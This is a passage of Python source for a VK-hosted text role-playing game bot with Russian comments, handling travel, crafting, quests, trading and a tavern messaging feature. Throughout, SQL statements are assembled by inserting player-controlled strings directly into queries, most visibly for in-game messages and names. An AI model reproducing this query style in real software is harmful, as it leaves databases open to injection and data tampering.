GUI()\r\n\tdef assoc(self, value):\r\n\t\tindex = 'city'\r\n\t\tif value & assoc['fight']: return 'fight'\r\n\t\telse:\r\n\t\t\tif value & (assoc['forest'] | assoc['desert'] | assoc['swamp'] | assoc['opendoor'] | assoc['holiday'] | assoc['cave']):\r\n\t\t\t\tif value & assoc['forest']: index = 'forest'\r\n\t\t\t\tif value & assoc['desert']: index = 'desert'\r\n\t\t\t\tif value & assoc['swamp']: index = 'swamp'\r\n\t\t\t\tif value & assoc['opendoor']: index = 'opendoor'\r\n\t\t\t\tif value & assoc['holiday']: index = 'holiday'\r\n\t\t\t\tif value & assoc['cave']: index = 'cave'\r\n\t\t\telse:\r\n\t\t\t\tif (value & assoc['character']) and not (value & (assoc['inventory'] | assoc['craft'])): index = 'character'\r\n\t\t\t\tif value & assoc['inventory']: index = 'inventory'\r\n\t\t\t\tif value & assoc['craft']: index = 'craft'\r\n\t\t\t\tif value == assoc['tavern']: index = 'tavern'\r\n\t\t\t\tif value == assoc['map']: index = 'map'\r\n\t\t\t\tif value == assoc['traid']: index = 'traid'\r\n\t\t\t\tif value & assoc['dialog']: index = 'dialog'\r\n\t\t\t\tif value & assoc['nickname']: index = 'nickname'\r\n\t\t\t\tif value == assoc['player']: index = 'player'\r\n\t\treturn index\r\n\tdef tax(self, coins):\r\n\t\tself.world.save(\"UPDATE `world` SET `coins`=%r\"%(int(self.world.one(\"SELECT `coins` FROM `world`\")[0]) + math.floor(coins)))\r\n\t\treturn math.floor(coins)\r\n\tdef player(self, arr):\r\n\t\tif arr is not None:\r\n\t\t\treturn {\r\n\t\t\t\t'id': arr[0],\r\n\t\t\t\t'xp': int(arr[5]),\r\n\t\t\t\t'level': int(arr[2]),\r\n\t\t\t\t'coins': int(arr[1]),\r\n\t\t\t\t'hp': arr[7],\r\n\t\t\t\t'is_travel': arr[8],\r\n\t\t\t\t'energy': arr[4],\r\n\t\t\t\t'inv': json.loads(arr[3]),\r\n\t\t\t\t'location': arr[9],\r\n\t\t\t\t'enemy': json.loads(arr[10]),\r\n\t\t\t\t'is_price': arr[6],\r\n\t\t\t\t'messages': int(arr[11]),\r\n\t\t\t\t'rating': arr[13],\r\n\t\t\t\t'vk_name': arr[12],\r\n\t\t\t\t'is_arena': json.loads(arr[14]),\r\n\t\t\t\t'upgrade': json.loads(arr[15]),\r\n\t\t\t\t'armor': json.loads(arr[16])\r\n\t\t\t}\r\n\t\treturn None\r\n\tdef read(self, file): # чтение из файла:\r\n\t\tf = open(file, 'r')\r\n\t\ttext = f.read()\r\n\t\tf.close()\r\n\t\treturn text\r\n\tdef find(self, name=None, folder=None): # вывод найденных файлов:\r\n\t\tif name is not None:\r\n\t\t\tif folder is not '': folder += '/'\r\n\t\t\tarr = glob.glob(r'./dialog/' + folder + name + '*.txt')\r\n\t\t\tif len(arr): return arr\r\n\t\t\telse: return glob.glob(r'./dialog/' + folder + 'default_*.txt')\r\n\t\treturn []\r\n\tdef send(self, user_id=0, message='', keyboard=None): # отправка сообщений:\r\n\t\ttry:\r\n\t\t\tarr = {'user_id': user_id, 'message': message, 'random_id': get_random_id() }\r\n\t\t\tif keyboard is not None: arr['keyboard'] = keyboard\r\n\t\t\tself.vk.method('messages.send', arr)\r\n\t\texcept Exception as err:\r\n\t\t\tarr = {'user_id': user_id, 'message': message, 'random_id': get_random_id() }\r\n\t\t\tself.vk.method('messages.send', arr)\r\n\t\t\tself.gui.add_error(text='{0}: {1}'.format(user_id, err))\r\n\tdef send_all(self, message=None, user_id=0): # отправка сообщения большому кол-ву человек:\r\n\t\tids = []\r\n\t\tfor user in self.query.many(\"SELECT * FROM `tavern`\"):\r\n\t\t\tif not (user[0] == str(user_id)): ids.append(user[0])\r\n\t\tif len(ids): self.vk.method('messages.send', {'user_ids': ','.join(ids), 'message': message})\r\n\t\tself.gui.add_print(text=\"%s: %s\"%(user_id, message), name=str(user_id))\r\n\tdef time(self, value, is_time=True): # время:\r\n\t\tresult, text = value - time.time() * is_time, \"\";\r\n\t\tif math.floor(result / 3600) > 0: text += \"%r ч. \"%math.floor(result / 3600)\r\n\t\tif math.floor(math.floor(result / 60) - math.floor(result / 3600) * 60) > 0: text += \"%r мин. \"%math.floor(math.floor(result / 60) - math.floor(result / 3600) * 60)\r\n\t\tif math.floor(result - math.floor(result / 60) * 60) > 0: text += \"%r сек.\"%math.floor(result - math.floor(result / 60) * 60)\r\n\t\treturn text\r\n\tdef table(self, count=3): # редактировании описания группы:\r\n\t\ttext, arr = \"Копилка: %s\\n\\n🔮 Лидеры арены:\\n\"%self.translate.number(int(self.world.one(\"SELECT `coins` FROM `world`\")[0])), []\r\n\t\tfor row in self.query.many(\"SELECT * FROM `users` WHERE `rating`>0\"):\r\n\t\t\tuser = self.player(row)\r\n\t\t\tarr.append({\r\n\t\t\t\t'vk_name': user['vk_name'],\r\n\t\t\t\t'rating': user['rating'],\r\n\t\t\t\t'level': user['level'],\r\n\t\t\t\t'id': user['id']\r\n\t\t\t})\r\n\t\tarr.sort(key=lambda i: i['rating'], reverse=True)\r\n\t\tfor i in range(0, min(count, len(arr))): text += \"%r. %s %s: %s\\n\"%(i + 1, arr[i]['vk_name'], icons['rating'], self.translate.number(arr[i]['rating']))\r\n\t\tself.session.groups.edit(group_id=self.group_id, description=text)\r\n\t\treturn arr[:count]\r\n\tdef replace(self, value):\r\n\t\tkey = {}\r\n\t\tif value is not None:\r\n\t\t\tfor i in value.split(', '):\r\n\t\t\t\tval = i.split(':')\r\n\t\t\t\tkey[val[0]] = int(val[1].replace(' ', ''))\r\n\t\telse: return None\r\n\t\treturn key\r\n\tdef quest(self, arr):\r\n\t\treturn {\r\n\t\t\t'name': arr[1],\r\n\t\t\t'need': self.replace(arr[2]),\r\n\t\t\t'users': self.replace(arr[3]),\r\n\t\t\t'price': self.replace(arr[4])\r\n\t\t}\r\n\tdef item(self, name):\r\n\t\tarr, find = self.world.one(\"SELECT * FROM `items` WHERE `name`='%s'\"%name), 0\r\n\t\tif arr is not None:\r\n\t\t\tif arr[2] is not None: find = assoc[arr[2]]\r\n\t\t\treturn {\r\n\t\t\t\t'name': arr[0],\r\n\t\t\t\t'icon': arr[1],\r\n\t\t\t\t'location': find,\r\n\t\t\t\t'change': arr[3],\r\n\t\t\t\t'need': self.replace(arr[4]),\r\n\t\t\t\t'type': arr[5],\r\n\t\t\t\t'effect': arr[6]\r\n\t\t\t}\r\n\t\treturn None\r\n\tdef enemy(self, arr):\r\n\t\tfind = 0\r\n\t\tif arr[2] is not None: find = assoc[arr[2]]\r\n\t\treturn {\r\n\t\t\t'name': arr[0],\r\n\t\t\t'icon': arr[1],\r\n\t\t\t'location': find,\r\n\t\t\t'change': arr[3],\r\n\t\t\t'level': arr[7],\r\n\t\t\t'damage_change': arr[4],\r\n\t\t\t'leave_change': arr[5],\r\n\t\t\t'price': self.replace(arr[6]),\r\n\t\t}\r\n\tdef travel(self, ID):\r\n\t\tarr = self.world.one(\"SELECT * FROM `location` WHERE `id`='%s'\"%ID)\r\n\t\tif arr is not None:\r\n\t\t\treturn {\r\n\t\t\t\t'name': arr[1],\r\n\t\t\t\t'icon': arr[2],\r\n\t\t\t\t'level': arr[4],\r\n\t\t\t\t'energy': arr[5],\r\n\t\t\t\t'price': self.replace(arr[6]),\r\n\t\t\t\t'need': self.replace(arr[8]),\r\n\t\t\t\t'time': arr[9]\r\n\t\t\t}\r\n\t\treturn None\r\n\tdef change_quests(self, count=3):\r\n\t\tself.world.save(\"UPDATE `quests` SET `active`=0,`users`=NULL\")\r\n\t\t_max = self.world.one(\"SELECT COUNT(*) FROM `quests`\")[0]\r\n\t\twhile count:\r\n\t\t\tindex = random.randint(0, _max - 1)\r\n\t\t\tif not self.world.one(\"SELECT * FROM `quests` LIMIT 1 OFFSET %r\"%index)[0]:\r\n\t\t\t\tself.world.save(\"UPDATE `quests` SET `active`=1 LIMIT 1 OFFSET %r\"%index)\r\n\t\t\t\tcount -= 1\r\n\tdef stats(self, data=None):\r\n\t\tarmor, damage = 0, 0\r\n\t\tif data is not None:\r\n\t\t\tfor row in ['head', 'body', 'weapon']:\r\n\t\t\t\tif row in data:\r\n\t\t\t\t\titem = self.item(data[row])\r\n\t\t\t\t\tif item is not None: \r\n\t\t\t\t\t\tif row != 'weapon': armor += item['effect']\r\n\t\t\t\t\t\telse: damage += item['effect']\r\n\t\treturn armor, damage\r\n\tdef add_inv(self, inv=None, item=None, count=1):\r\n\t\tif item in inv: inv[item] += count\r\n\t\telse: inv[item] = count\r\n\t\treturn inv\r\n\tdef craft(self, inv=None, item=None):\r\n\t\tfor row in item['need']:\r\n\t\t\tif row in inv:\r\n\t\t\t\tif inv[row] >= item['need'][row]: inv[row] -= item['need'][row]\r\n\t\t\t\telse: return None\r\n\t\t\telse: return None\r\n\t\tinv = self.add_inv(inv=inv, item=item['name'])\r\n\t\treturn inv\r\n\r\nclass Local: # доп.функции:\r\n\tdef __init__(self, core=None): self.core = core\r\n\tdef dialog(self, numb=0, nickname=0, user_id=0):\r\n\t\tif not nickname:\r\n\t\t\tif numb > 0 and numb <= int(self.core.query.one(\"SELECT COUNT(*) FROM `traid`\")[0]):\r\n\t\t\t\tslot = self.core.query.one(\"SELECT * FROM `traid` LIMIT 1 OFFSET %r\"%(numb - 1))\r\n\t\t\t\titem = json.loads(slot[2])\r\n\t\t\t\tif slot[0] == str(user_id): text = \"Вернуть слот с %r %s %s?\"\r\n\t\t\t\telse: text = \"Купить слот с %r %s %s \" + \"за %s %s?\"%(self.core.translate.number(slot[3]), icons['coins'])\r\n\t\t\t\treturn (text%(item['count'], self.core.item(item['name'])['icon'], item['name']) + \"\\n(да, нет)\")\r\n\t\t\telse: text = \"Этот слот уже куплен!\"\r\n\t\telse: text = \"Поменять имя? (100 %s)\\n(да, нет)\"%icons['coins']\r\n\t\treturn text\r\n\tdef traid(self, page=0, user_id=0, limit=5):\r\n\t\t_max, find = self.core.query.one(\"SELECT COUNT(*) FROM `traid`\")[0], False\r\n\t\ttext, count, offset, keys = \"⚖ Рынок: (страница %r из %r)\\n\"%(int(page / limit) + 1, math.ceil(_max / limit)), 0, page, []\r\n\t\tfor row in self.core.query.many(\"SELECT * FROM `traid` LIMIT %r OFFSET %r\"%(limit, page)):\r\n\t\t\tslot, offset, find = json.loads(row[2]), offset + 1, True\r\n\t\t\titem = self.core.item(slot['name'])\r\n\t\t\tif item is not None: text += \"%r. продается %r шт. %s %s за %s %s\\n\"%(offset, slot['count'], item['icon'], item['name'], self.core.translate.number(row[3]), icons['coins'])\r\n\t\tif not find: text += \"Ничего нет!\\n\"\r\n\t\tif page: keys.append({'text': 'Страница %r'%int(page / limit), 'color': 'positive'})\r\n\t\tif page < _max - limit: keys.append({'text': 'Страница %r'%int(page / limit + 2), 'color': 'positive'})\r\n\t\tif len(keys): keys.append({'line': 1})\r\n\t\tkeys.append({'text': 'Персонаж', 'color': 'default'})\r\n\t\tkeys.append({'line': 1})\r\n\t\tkeys.append({'text': 'Назад', 'color': 'primary'})\r\n\t\tself.core.location._list['traid']['keyboard'] = keys\r\n\t\treturn (text + \"\\n(купить <номер>, страница <номер>, назад)\")\r\n\tdef craft(self, page=0, inv=None): # мастерская:\r\n\t\t_max = self.core.world.one(\"SELECT COUNT(*) FROM `items` WHERE `need` IS NOT NULL\")[0]\r\n\t\ttext, keys = \"⚒ Мастерская: (страница %r из %r)\\n\"%(int(page / 5) + 1, math.ceil(_max / 5)), []\r\n\t\tfor row in self.core.world.many(\"SELECT * FROM `items` WHERE `need` IS NOT NULL LIMIT 5 OFFSET %r\"%page):\r\n\t\t\titem = self.core.item(row[0])\r\n\t\t\tif item is not None:\r\n\t\t\t\ttext += \"\\n%s %s - нужно:\\n\"%(item['icon'], item['name'])\r\n\t\t\t\tfor need in item['need']:\r\n\t\t\t\t\tc_item, count = self.core.item(need), 0\r\n\t\t\t\t\tif need in inv: count = inv[need]['count']\r\n\t\t\t\t\tif c_item is not None: text += \"%s %s (%r из %r)\\n\"%(c_item['icon'], c_item['name'], count, item['need'][need])\r\n\t\tif page: keys.append({'text': 'Страница %r'%int(page / 5), 'color': 'positive'})\r\n\t\tif page < (_max - 5): keys.append({'text': 'Страница %r'%(int(page / 5) + 2), 'color': 'positive'})\r\n\t\tif len(keys): keys.append({'line': 1})\r\n\t\tkeys.append({'text': 'Назад', 'color': 'primary'})\r\n\t\tself.core.location._list['craft']['keyboard'] = keys\r\n\t\treturn (text + \"\\n(создать <предмет>, страница <номер>, назад)\")\r\n\tdef fight(self, data):\r\n\t\tif not (data['location'] & (assoc['attack'] | assoc['shield'])):\r\n\t\t\tif not ('type' in data['enemy']):\r\n\t\t\t\tenemy, commands, c_armor = self.core.enemy(self.core.world.one(\"SELECT * FROM `enemy` WHERE `name`='%s'\"%data['enemy']['name'])), ['атака', 'защита'], (self.core.stats(data=data['armor']))\r\n\t\t\t\ttext = \"На вас напал %s %s!\\n\\nШанс ⚔ атаки: %r\\nШанс 🛡 защиты: %r\\n\\n(атака, защита)\"%(enemy['icon'], enemy['name'], enemy['damage_change'] + c_armor[1], enemy['leave_change'] + c_armor[0])\r\n\t\t\telse:\r\n\t\t\t\tarena_user = self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%data['is_arena']['username']))\r\n\t\t\t\tif arena_user is not None:\r\n\t\t\t\t\tif 'check' in arena_user['enemy']:\r\n\t\t\t\t\t\ttext = \"Ваше здоровье: %r/5 %s\\nЗдоровье %s: %r/5 %s\\n\\nУ вас есть %s: 3 мин.\\nВыберите действие: (aтака, защита)\"%(data['hp'], icons['health'], arena_user['vk_name'], arena_user['hp'], icons['health'], icons['time'])\r\n\t\t\t\t\t\tcommands = ['атака', 'защита', 'голова', 'тело', 'ноги']\r\n\t\t\t\t\telse: text, commands = \"Ожидайте ответа от второго игрока!\", []\r\n\t\t\tkeyboard = [\r\n\t\t\t\t{'text': 'Атака', 'color': 'positive'},\r\n\t\t\t\t{'text': 'Защита', 'color': 'default'}\r\n\t\t\t]\r\n\t\telse:\r\n\t\t\ttext = \"Выберите часть тела, которую нужно %s\\n(голова, тело, ноги)\"%['защитить', 'атаковать'][bool(data['location'] & assoc['attack'])]\r\n\t\t\tkeyboard, commands = [\r\n\t\t\t\t{'text': 'Голова', 'color': 'positive'}, {'line': 1},\r\n\t\t\t\t{'text': 'Тело', 'color': 'positive'}, {'line': 1},\r\n\t\t\t\t{'text': 'Ноги', 'color': 'positive'}, {'line': 1},\r\n\t\t\t\t{'text': 'Назад', 'color': 'primary'}\r\n\t\t\t], ['голова', 'тело', 'ноги', 'назад']\r\n\t\treturn text, keyboard, commands\r\n\r\nclass Game: # игра:\r\n\tdef __init__(self, core): \r\n\t\tself.core = core\r\n\t\tself.local = Local(core=self.core)\r\n\tdef add_user(self, user_id): # новый игрок:\r\n\t\ttext, is_price = self.core.read('./dialog/start.txt'), int(self.core.check.member(user_id));\r\n\t\tif is_price: text += \"\\n\\nБольшое спасибо за подписку!\\nВаш %s бонус: +20 %s!\"%(icons['price'], icons['coins']);\r\n\t\tdata = self.core.session.users.get(user_ids=user_id)[0];\r\n\t\tself.core.query.save(\"INSERT INTO `users` (username, coins, level, xp, energy, is_price, hp, is_travel, location, inv, enemy, messages, vk_name, is_arena, upgrade, armor) VALUES (%s, %r, %r, %r, %r, %r, %r, %r, 0, '{}', '{}', 0, '%s', '{}', '[]', '{}')\"%(str(user_id), is_price * 20, 1, 0, 5, is_price, 5, 0, data['first_name'] + ' ' + data['last_name']));\r\n\t\tself.core.gui.add_print(text=\"новый пользователь: %s!\"%(data['first_name'] + ' ' + data['last_name']), name=data['first_name'] + ' ' + data['last_name'])\r\n\t\treturn text;\r\n\tdef clear(self): # применение запросов:\r\n\t\tif len(commands):\r\n\t\t\tself.core.query.save(';'.join(commands) + ';');\r\n\t\t\tcommands.clear();\r\n\tdef level(self, level): return level * 5 + (level + 1)**2; # нужное кол-во опыта для уровня.\r\n\tdef change(self, value): return (value / 100) >= random.random(); # drop change.\r\n\tdef finish(self, data=None, user_id=0): # конец похода:\r\n\t\tif data is not None:\r\n\t\t\tif data['is_travel'] - time.time() < 0 and data['is_travel']:\r\n\t\t\t\tval = self.core.assoc(data['location'])\r\n\t\t\t\tif val in Travel:\r\n\t\t\t\t\ttext, arr, travel = \"Сводка (%s %s): \\n\\n\"%(Travel[val]['icon'], Travel[val]['name']), [], find_story(travel_finish)\r\n\t\t\t\t\tobj = self.quest(value=val, data=data, user_id=user_id)\r\n\t\t\t\t\tdata = obj[0]\r\n\t\t\t\t\tfor row in obj[1]: text += row + '\\n\\n'\r\n\t\t\t\t\tfor row in Travel[val]['price']: # награда:\r\n\t\t\t\t\t\tvalue = Travel[val]['price'][row]\r\n\t\t\t\t\t\tif travel[1] is not None:\r\n\t\t\t\t\t\t\tif row in travel[1]: value += travel[1][row]\r\n\t\t\t\t\t\tif travel[2] is not None:\r\n\t\t\t\t\t\t\tif row in travel[2]: value -= travel[2][row]\r\n\t\t\t\t\t\tif row == 'coins': self.core.tax(abs(math.ceil(value * .25)))\r\n\t\t\t\t\t\tdata[row] += value\r\n\t\t\t\t\t\tarr.append(\"%r %s\"%(value, icons[row]))\r\n\t\t\t\t\tfor row in self.core.world.many(\"SELECT `name` FROM `items` WHERE `location`='%s'\"%val):\r\n\t\t\t\t\t\titem = self.core.item(row[0])\r\n\t\t\t\t\t\tif item is not None:\r\n\t\t\t\t\t\t\tif self.change(item['change']):\r\n\t\t\t\t\t\t\t\tobj = self.quest(value=item['name'], data=data, user_id=user_id)\r\n\t\t\t\t\t\t\t\tdata = obj[0]\r\n\t\t\t\t\t\t\t\tdata['inv'] = self.core.add_inv(inv=data['inv'], item=item['name'])\r\n\t\t\t\t\t\t\t\tfor key in obj[1]: text += key + '\\n\\n'\r\n\t\t\t\t\t\t\t\tarr.append(\"%s %s\"%(item['icon'], item['name']))\r\n\t\t\t\t\tdata, levelup = self.up(data=data)\r\n\t\t\t\t\tif levelup is not None: text += levelup + '\\n\\n'\r\n\t\t\t\t\ttext += \"%s\\n\\nДобыча: %s\"%(travel[0], ', '.join(arr))\r\n\t\t\t\t\tkey = VkKeyboard(one_time=True)\r\n\t\t\t\t\tkey.add_button('Назад', color='primary')\r\n\t\t\t\t\tself.core.gui.add_print(text=\"%s пришел из %s!\"%(data['vk_name'], Travel[val]['name']), name=data['vk_name'])\r\n\t\t\t\t\tcommands.append(\"UPDATE `users` SET `inv`='%s',`is_travel`=0,`enemy`='{}',`messages`=0,`coins`=%r,`xp`=%r,`level`=%r,`energy`=%r,`hp`=%r,`location`=0 WHERE `username`=%s\"%(json.dumps(data['inv']), data['coins'], data['xp'], data['level'], data['energy'], data['hp'], user_id))\r\n\t\t\t\t\tself.clear()\r\n\t\t\t\t\treturn [text + \"\\n(назад)\", key]\r\n\t\treturn None\r\n\tdef quest(self, user_id=0, value=None, data=None, save=False): # выполнение квеста:\r\n\t\tarr = []\r\n\t\tif value != 'all':\r\n\t\t\tdef replace(ndata):\r\n\t\t\t\tntext = \"\"\r\n\t\t\t\tfor key in ndata: ntext += \"%s: %r, \"%(key, ndata[key])\r\n\t\t\t\treturn ntext[:len(ntext) - 2]\r\n\t\t\tfor row in self.core.world.many(\"SELECT * FROM `quests` WHERE `active`=1\"):\r\n\t\t\t\tquest, find = self.core.quest(row), True\r\n\t\t\t\tif quest['need'] is not None:\r\n\t\t\t\t\tfor key in quest['need']:\r\n\t\t\t\t\t\tif value == key:\r\n\t\t\t\t\t\t\tif quest['users'] is not None:\r\n\t\t\t\t\t\t\t\tif str(user_id) in quest['users']: \r\n\t\t\t\t\t\t\t\t\tif quest['users'][str(user_id)] < quest['need'][key]:\r\n\t\t\t\t\t\t\t\t\t\tquest['users'][str(user_id)] += 1\r\n\t\t\t\t\t\t\t\t\t\tfind = False\r\n\t\t\t\t\t\t\t\telse: quest['users'][str(user_id)], find = 1, False\r\n\t\t\t\t\t\t\telse: \r\n\t\t\t\t\t\t\t\tquest['users'], find = {}, False\r\n\t\t\t\t\t\t\t\tquest['users'][str(user_id)] = 1\r\n\t\t\t\t\t\t\tself.core.world.save(\"UPDATE `quests` SET `users`='%s' WHERE `name`='%s'\"%(replace(quest['users']), quest['name']))\r\n\t\t\t\t\tif not find:\r\n\t\t\t\t\t\tif quest['users'] is not None:\r\n\t\t\t\t\t\t\tif str(user_id) in quest['users']:\r\n\t\t\t\t\t\t\t\tif quest['users'][str(user_id)] >= quest['need'][key]:\r\n\t\t\t\t\t\t\t\t\ttext = ''\r\n\t\t\t\t\t\t\t\t\tfor items in quest['price']:\r\n\t\t\t\t\t\t\t\t\t\tif items in ['xp', 'coins']:\r\n\t\t\t\t\t\t\t\t\t\t\tdata[items] += quest['price'][items]\r\n\t\t\t\t\t\t\t\t\t\t\ttext += \"+%r %s \"%(quest['price'][items], icons[items])\r\n\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\titem = self.core.item(items)\r\n\t\t\t\t\t\t\t\t\t\t\tif item is not None:\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['inv'] = self.core.add_inv(inv=data['inv'], item=item['name'], count=quest['price'][items])\r\n\t\t\t\t\t\t\t\t\t\t\t\ttext += \"%r шт. %s %s \"%(quest['price'][items], item['icon'], item['name'])\r\n\t\t\t\t\t\t\t\t\tarr.append(\"Квест <%s> выполнен!\\nНаграда: %s\"%(quest['name'], text))\r\n\t\t\t\t\t\t\t\t\t# выполнение всех квестов:\r\n\t\t\t\t\t\t\t\t\tcount = 0\r\n\t\t\t\t\t\t\t\t\tfor c_row in self.core.world.many(\"SELECT * FROM `quests` WHERE `active`=1\"):\r\n\t\t\t\t\t\t\t\t\t\tc_quest = self.core.quest(c_row)\r\n\t\t\t\t\t\t\t\t\t\tif c_quest['users'] is not None:\r\n\t\t\t\t\t\t\t\t\t\t\tif str(user_id) in c_quest['users']:\r\n\t\t\t\t\t\t\t\t\t\t\t\tfor c_key in c_quest['need']:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tif c_quest['users'][str(user_id)] >= c_quest['need'][c_key]: count += 1\r\n\t\t\t\t\t\t\t\t\tif count == 3: self.quest(user_id=user_id, value='all', data=data, save=True)\r\n\t\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\r\n\t\telse:\r\n\t\t\titem = self.core.item('ключ')\r\n\t\t\tif item is not None:\r\n\t\t\t\tdata['coins'] += 40\r\n\t\t\t\tdata['xp'] += 20\r\n\t\t\t\tdata['inv'] = self.core.add_inv(inv=data['inv'], item=item['name'])\r\n\t\t\t\tarr.append(\"✨ Вы выполнили все ежедневные квесты!\\nНаграда: +20 %s, +40 %s, 1шт. %s %s\"%(icons['xp'], icons['coins'], item['icon'], item['name']))\r\n\t\tif not save: return [data, arr]\r\n\t\telse:\r\n\t\t\tself.core.query.save(\"UPDATE `users` SET `inv`='%s',`xp`=%r,`coins`=%r WHERE `username`=%s\"%(json.dumps(data['inv']), data['xp'], data['coins'], str(user_id)))\r\n\t\t\tif len(arr): self.core.send(user_id=user_id, message='\\n\\n'.join(arr))\r\n\tdef up(self, data=None): # level up:\r\n\t\ttext = None\r\n\t\tif data is not None:\r\n\t\t\tif data['xp'] >= self.level(data['level']) and data['level'] < 20:\r\n\t\t\t\tdata['coins'] += 20\r\n\t\t\t\tdata['level'] += 1\r\n\t\t\t\tdata['xp'], data['hp'], data['energy'], arr = data['xp'] - self.level(data['level'] - 1), 5, 5 * (2 - int(not 'энергохранилище' in data['upgrade'])), []\r\n\t\t\t\tif data['level'] < 20: text = \"✨✨✨ Вы получили %r уровень! ✨✨✨\\n+20💰 %r/%r%s\\n\\n\"%(data['level'], data['energy'], 5 * (2 - int(not 'энергохранилище' in data['upgrade'])), icons['energy']);\r\n\t\t\t\telse:\r\n\t\t\t\t\ttext = self.core.read('dialog/finish.txt') + \"\\n\\n\"\r\n\t\t\t\t\tself.core.session.wall.post(owner_id=-self.core.group_id, from_group=1, message=\"✨ Поздравляю! %s достиг максимального уровня в игре!\"%data['vk_name'])\r\n\t\t\t\tfor row in self.core.world.many(\"SELECT * FROM `enemy` WHERE `level`=%r\"%data['level']):\r\n\t\t\t\t\tenemy = self.core.enemy(row)\r\n\t\t\t\t\tif enemy is not None: arr.append(\"%s %s\"%(enemy['icon'], enemy['name']))\r\n\t\t\t\tfor row in Travel:\r\n\t\t\t\t\tif data['level'] == Travel[row]['level']: arr.append(\"%s %s\"%(Travel[row]['icon'], Travel[row]['name']))\r\n\t\t\t\tif len(arr): text += \"Вам открылись: %s\"%(', '.join(arr))\r\n\t\t\t\tself.core.gui.add_print(text=\"%s получил %r уровень!\"%(data['vk_name'], data['level'] + 1), name=data['vk_name'])\r\n\t\treturn [data, text];\r\n\tdef update(self, command=None, user_id=0): # переходы по локациям:\r\n\t\ttext, keyboard, data = \"\", VkKeyboard(one_time=True), self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%user_id))\r\n\t\tis_keyboard, is_message, is_update, is_reload = 1, 1, 1, False\r\n\t\tif data is not None:\r\n\t\t\tlocal = self.core.assoc(data['location'])\r\n\t\t\tif local == 'fight':\r\n\t\t\t\tval = self.local.fight(data)\r\n\t\t\t\tself.core.location._list[local]['commands'] = val[2]\r\n\t\t\tif local in self.core.location._list: global_find = re.findall('^(%s|%s)'%('|'.join(self.core.location._list[local]['commands']), '|'.join(admin)), command, re.IGNORECASE)\r\n\t\t\telse: global_find, is_keyboard = None, 0 \r\n\t\t\tif global_find:\r\n\t\t\t\tfind, arr = global_find[0].lower(), {\r\n\t\t\t\t\t'персонаж': 'character',\r\n\t\t\t\t\t'инвентарь': 'inventory',\r\n\t\t\t\t\t'мастерская': 'craft',\r\n\t\t\t\t\t'карта': 'map',\r\n\t\t\t\t\t'рынок': 'traid',\r\n\t\t\t\t\t'таверна': 'tavern',\r\n\t\t\t\t\t'лес': 'forest',\r\n\t\t\t\t\t'болото': 'swamp',\r\n\t\t\t\t\t'пустыня': 'desert',\r\n\t\t\t\t\t'новогодняя пещера': 'holiday',\r\n\t\t\t\t\t'сменить имя': 'dialog',\r\n\t\t\t\t\t'пещера': 'cave',\r\n\t\t\t\t\t'арена': 'player'\r\n\t\t\t\t}\r\n\t\t\t\ttry:\r\n\t\t\t\t\tif find == 'назад':\r\n\t\t\t\t\t\tif data['location'] & assoc['player']:\r\n\t\t\t\t\t\t\tif not (data['location'] & assoc['fight']): # выход из арены:\r\n\t\t\t\t\t\t\t\tcommands.append(\"DELETE FROM `arena` WHERE `username`=%s\"%user_id)\r\n\t\t\t\t\t\t\t\tdata['location'] &=~ assoc[local]\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\tif not data['enemy']['check']:\r\n\t\t\t\t\t\t\t\t\tif data['location'] & assoc['attack']: data['location'] &=~ assoc['attack']\r\n\t\t\t\t\t\t\t\t\tif data['location'] & assoc['shield']: data['location'] &=~ assoc['shield']\r\n\t\t\t\t\t\t\t\telse: text, is_keyboard, is_update = \"Вы уже сделали ход!\", 0, 0\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tif data['location'] == assoc['tavern']: # выход из таверны:\r\n\t\t\t\t\t\t\t\tcommands.append(\"DELETE FROM `tavern` WHERE `username`=%s\"%user_id)\r\n\t\t\t\t\t\t\t\tself.core.send_all(user_id=user_id, message=\"%s вышел из таверны!\"%data['vk_name'])\r\n\t\t\t\t\t\t\tdata['location'] &=~ assoc[local]\r\n\t\t\t\t\telif find == 'бармен':\r\n\t\t\t\t\t\tis_update, is_keyboard, narr = 0, 0, self.core.translate.barmen(command)\r\n\t\t\t\t\t\tif narr is not None:\r\n\t\t\t\t\t\t\tif narr['username'] != data['vk_name']:\r\n\t\t\t\t\t\t\t\tuser = self.core.query.one(\"SELECT `username` FROM `users` WHERE `vk_name`='%s'\"%narr['username'])\r\n\t\t\t\t\t\t\t\tif user is not None:\r\n\t\t\t\t\t\t\t\t\tif self.core.query.one(\"SELECT * FROM `tavern` WHERE `username`=%s\"%user[0]) is not None:\r\n\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=user[0], message=\"Новое сообщение от %s!\\n%s\"%(data['vk_name'], narr['message']))\r\n\t\t\t\t\t\t\t\t\telse: commands.append(\"INSERT INTO `mail` (user_id,message,from_id) VALUES (%s,'%s','%s')\"%(user[0], narr['message'], data['vk_name']))\r\n\t\t\t\t\t\t\t\telse: raise Exception(\"Персонажа с таким именем не существует!\")\r\n\t\t\t\t\t\t\t\ttext = \"Ваше сообщение было отправлено!\"\r\n\t\t\t\t\t\t\telse: text = \"Как я вам передам это сообщения, если получатель - это Вы?!\"\r\n\t\t\t\t\t\telse: text = \"Чтобы отправить сообщение другому игроку напишите:\\nбармен передай <имя>: <сообщение>\"\r\n\t\t\t\t\telif find == 'таверна': # вход в таверну:\r\n\t\t\t\t\t\tif data['level'] >= self.core.location._list['tavern']['level']:\r\n\t\t\t\t\t\t\tif data['level'] >= 20: data['vk_name'] = \"%s %s\"%('⭐', data['vk_name'])\r\n\t\t\t\t\t\t\tself.core.send_all(user_id=user_id, message=\"%s зашел в таверну!\"%data['vk_name'])\r\n\t\t\t\t\t\t\tcommands.append(\"INSERT INTO `tavern` (username,vk_name) VALUES (%s, '%s')\"%(user_id, data['vk_name']))\r\n\t\t\t\t\t\telse: raise Exception(\"Вам нужен %r уровень!\"%self.core.location._list['tavern']['level'])\r\n\t\t\t\t\telif (find == 'карта' or find == 'рынок') and not data['hp']: raise Exception(\"%s Вас выпищут через %s: %s\"%(icons['health'], icons['time'], self.core.time(data['messages'])))\r\n\t\t\t\t\telif find == 'арена': # арена:\r\n\t\t\t\t\t\tif data['level'] >= 